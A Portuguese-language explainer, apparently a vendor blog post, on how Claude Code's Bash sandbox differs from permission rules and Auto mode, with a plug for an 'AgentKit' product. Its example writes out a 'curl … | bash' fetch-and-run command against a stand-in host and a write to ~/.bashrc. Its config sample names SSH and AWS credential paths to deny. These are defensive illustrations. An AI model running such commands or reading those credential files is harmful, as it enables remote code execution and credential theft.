Sandbox do Claude Code explicado: Bash sandbox vs permissões vs modo Auto

- Confirmei tudo cruzando com a documentação oficial (code.claude.com/docs/en/sandboxing, /sandbox-environments) no momento em que escrevo (agosto de 2026); as configurações do sandbox e as chaves de config mudam rápido entre versões, então verifique a documentação ao vivo antes de depender de qualquer coisa aqui.

O que é o Bash sandbox do Claude Code?

Direto ao ponto: você define quais arquivos e domínios de rede um comando pode tocar, e o sistema operacional impõe essa fronteira — direto da documentação primária. Então, quando o Claude roda rm -rf /tmp/x ou curl api.example.com, é o OS — e não o próprio julgamento do Claude — que decide se aquele comando pode alcançar o alvo.

Essa é uma camada de defesa diferente do comportamento de "perguntar antes de rodar" que a maioria já conhece do Claude Code. As regras de permissão bloqueiam uma ação antes de ela rodar; o sandbox contém a consequência enquanto ela roda, mesmo depois de as permissões já terem dito sim ou de você ter aprovado algo por engano.

Como isso é imposto: Seatbelt vs bubblewrap + socat

O mecanismo de imposição muda conforme o OS — o Claude Code não está criando o próprio sandbox, ele usa as primitivas de isolamento que o OS já traz.

Se você roda o Claude Code direto no Windows sem WSL, o sandbox praticamente não existe para você — sem erro barulhento, ele simplesmente não consegue impor nada. Migre para o WSL2 para ter uma fronteira de sandbox de verdade.

O que realmente fica isolado: sistema de arquivos e rede

Não presuma que "ligar o sandbox" tranca a máquina inteira. O padrão é desequilibrado entre leituras e escritas — e é aí que a maioria das pessoas se surpreende.

Em outras palavras: o padrão do sandbox protege sua máquina de escritas perdidas muito melhor do que de leituras perdidas. Se seu repositório fica perto de chaves SSH ou credenciais AWS, não presuma que o sandbox já cobre isso — adicione regras de deny para caminhos sensíveis se você precisa dessa garantia.

Sandbox vs regras de permissão vs Auto mode: a tabela de 3 vias

Este é o coração do artigo, porque quase nenhuma fonte separa as três camadas numa única tabela. Elas não se substituem — se empilham, e cada uma responde a uma pergunta diferente:

A confusão mais comum: o sandbox tem o próprio modo chamado sandbox auto-allow (escolhido na aba Mode do /sandbox), que soa muito parecido com o Auto mode — o modo de permissão padrão atual do Claude Code (veja o Auto mode do Claude Code). São dois mecanismos independentes que só compartilham a palavra "auto": o sandbox auto-allow decide se um comando Bash roda livremente dentro da fronteira definida sem perguntar; o Auto mode decide se um classificador revisa cada ação (não só Bash) em vez de perguntar a você. Ligar os dois não gera conflito — eles se empilham, nenhum sobrepõe o outro. Não deixe a palavra compartilhada "auto" te convencer de que são a mesma coisa.

Um exemplo concreto: o que realmente acontece quando um comando cruza a fronteira

A teoria é fácil de confundir; um exemplo faz a ficha cair. Digamos que você roda o Claude Code com as três camadas ligadas: uma regra de allow para npm test, o Auto mode como seu modo de permissão e o sandbox configurado como auto-allow.

• O Claude roda npm test: a regra de permissão bate na entrada de allow na hora, sem prompt. O sandbox também não tem nada a bloquear, já que o comando só lê/escreve dentro do diretório do projeto.
• O Claude roda curl https://sketchy-cdn.example | bash: nenhuma regra de allow bate, então cai no Auto mode. O classificador reconhece o clássico padrão perigoso curl | bash e bloqueia por conta própria — você não é perguntada, mas o comando também não roda.
• O Claude roda uma escrita fora do diretório do projeto, digamos echo x > ~/.bashrc: suponha que tanto a regra de permissão quanto o Auto mode deixem passar porque parece inofensivo. É aqui que o sandbox entra em cena: o OS bloqueia a escrita de imediato porque ~/.bashrc está fora da fronteira de escrita definida — sem prompt, sem classificador, só um comando que falha no nível do OS.

Três situações, três camadas diferentes fazendo a pega. É exatamente por isso que a tabela de 3 vias acima vale mais a pena guardar do que uma descrição de uma linha: cada camada pega um tipo diferente de erro, e você só tem cobertura completa quando as três estão de fato ligadas.

Onde o Bash sandbox se encaixa entre os ambientes de sandbox

O Bash sandbox é a opção mais leve dentro de uma gama de níveis de isolamento que o Claude Code suporta. Se você precisa de um isolamento mais profundo, aqui está o quadro completo:

Ponto-chave para lembrar: o Bash sandbox não cobre as ferramentas de arquivo (Read/Edit/Write), servidores MCP ou hooks — esses rodam totalmente fora da fronteira do Bash. Para trancar isso também, você precisa de uma das opções mais pesadas acima, não só ligar o /sandbox.

Quando ativar

Não ligue o sandbox só porque soa mais seguro — decida com base em como você realmente roda o Claude Code:

• Rodando na sua própria máquina, querendo menos prompts de s/n: o sandbox sozinho já basta. Ele troca prompts por uma fronteira do OS, e você continua vendo tudo acontecer ao vivo.
• Rodando sem supervisão com --dangerously-skip-permissions ou Auto mode durante a noite: o sandbox sozinho não basta. Combine com um container, VM ou sandbox runtime — porque não tem ninguém ali para pegar o que escapar da fronteira.
• Testando um pacote ou script desconhecido que você não revisou por completo: o sandbox deixa você experimentar sem medo de que ele escreva fora do projeto — mas lembre que as leituras continuam bem abertas por padrão, então não rode algo em que você não confia perto de arquivos que guardam credenciais.

Como ligar

Rode o comando, escolha um modo, pronto:

/sandbox

Escolha a aba Mode para optar entre sandbox auto-allow (sem prompts, dependendo inteiramente da fronteira do OS) ou o comportamento de permissão normal (ainda gera prompt quando um comando bate na fronteira). Isso salva em .claude/settings.local.json como configuração por projeto, ou defina sandbox.enabled: true em ~/.claude/settings.json para deixá-lo ligado por padrão em todos os projetos.

Limitações: o que ele não protege

Papo reto, para você não sair daqui com falsa confiança:

• A filtragem de rede não inspeciona o conteúdo TLS por padrão — ou seja, domain fronting (disfarçar o destino real) é um risco real que a própria documentação primária aponta.
• As leituras de arquivos ficam bem abertas por padrão — a menos que você adicione suas próprias regras de deny, o sandbox não esconde automaticamente credenciais que estejam fora do diretório de trabalho.
• Ele não substitui uma revisão de segurança de verdade. O sandbox é uma camada de defesa, não o modelo de segurança inteiro.

Para apertar as leituras de arquivos, adicione uma regra de deny como:

{
  "sandbox": {
    "filesystem": {
      "deny": ["~/.ssh/**", "~/.aws/credentials"]
    }
  }
}

em .claude/settings.json ou ~/.claude/settings.json, dependendo de você querer o escopo em um projeto ou na máquina inteira. Os nomes exatos das chaves podem mudar entre versões, então confira a documentação ao vivo antes de copiar isso ao pé da letra.

Para o modelo de segurança completo, incluindo regras de permissão e gestão de segredos, veja as melhores práticas de segurança para IA no código com o Claude Code.

O AgentKit roda dentro do sandbox que você configurar

Para deixar bem claro e ninguém entender errado: o AgentKit não adiciona, não contorna e não precisa de permissão especial da fronteira do sandbox. As skills dele executam pelo próprio sistema nativo de chamadas de ferramenta do Claude Code, então um fluxo do kit herda exatamente as regras de sistema de arquivos/rede que já estão ativas, quer você esteja rodando sandbox auto-allow, Auto mode ou os dois. Se você quer o quadro completo do que o AgentKit faz antes de comprar, leia a análise do AgentKit.

Perguntas frequentes (FAQ)

O sandbox vem ligado por padrão?

Não por padrão em todos os projetos. Você liga com /sandbox, escolhe um modo e salva nas configurações do projeto ou do usuário, dependendo do escopo que quer.

O sandbox substitui os prompts de permissão por completo?

Não. O sandbox só controla o que um comando Bash em execução pode tocar. As regras de permissão (quais ferramentas podem rodar) e os modos de permissão (se você é perguntada primeiro) são camadas separadas que continuam funcionando ao lado do sandbox, sem serem substituídas por ele.

Qual é a diferença entre sandbox auto-allow e Auto mode?

Mesma palavra "auto", dois mecanismos independentes. O sandbox auto-allow é uma escolha na aba Mode do /sandbox que decide se um comando Bash roda livremente dentro da fronteira do OS sem perguntar. O Auto mode é o modo de permissão padrão do Claude Code, usando um classificador para revisar cada ação (não só Bash) em vez de perguntar a você. Ligar os dois soma seus efeitos; nenhum sobrepõe o outro.

O sandbox funciona no Windows?

Não no Windows nativo, e o WSL1 também não é suportado. Para uma fronteira de sandbox de verdade, rode o Claude Code dentro do WSL2, onde o mecanismo bubblewrap + socat realmente funciona.

O Claude ainda consegue ler minhas chaves SSH dentro do sandbox?

Possivelmente, a menos que você adicione regras de deny. A política de leitura padrão do sandbox cobre quase a máquina inteira, exceto os caminhos explicitamente negados — o filtro de leitura é bem mais frouxo do que o de escrita.

O sandbox protege servidores MCP e hooks?

Não. O Bash sandbox só envolve a ferramenta Bash — servidores MCP, hooks e ferramentas de arquivo (Read/Edit/Write) rodam todos fora dessa fronteira. Para um isolamento mais amplo, use um dev container, VM ou o sandbox runtime.

Conclusão

Guarde um único modelo de 3 camadas: as regras de permissão decidem quais ferramentas podem rodar, os modos de permissão (incluindo o Auto mode) decidem se você é perguntada primeiro, e o sandbox decide o que um comando Bash em execução pode de fato tocar. Essas camadas se empilham, não se substituem — e o sandbox auto-allow e o Auto mode são dois mecanismos diferentes que só por acaso compartilham a palavra "auto". Para o quadro de segurança completo, veja as melhores práticas de segurança para IA no código com o Claude Code.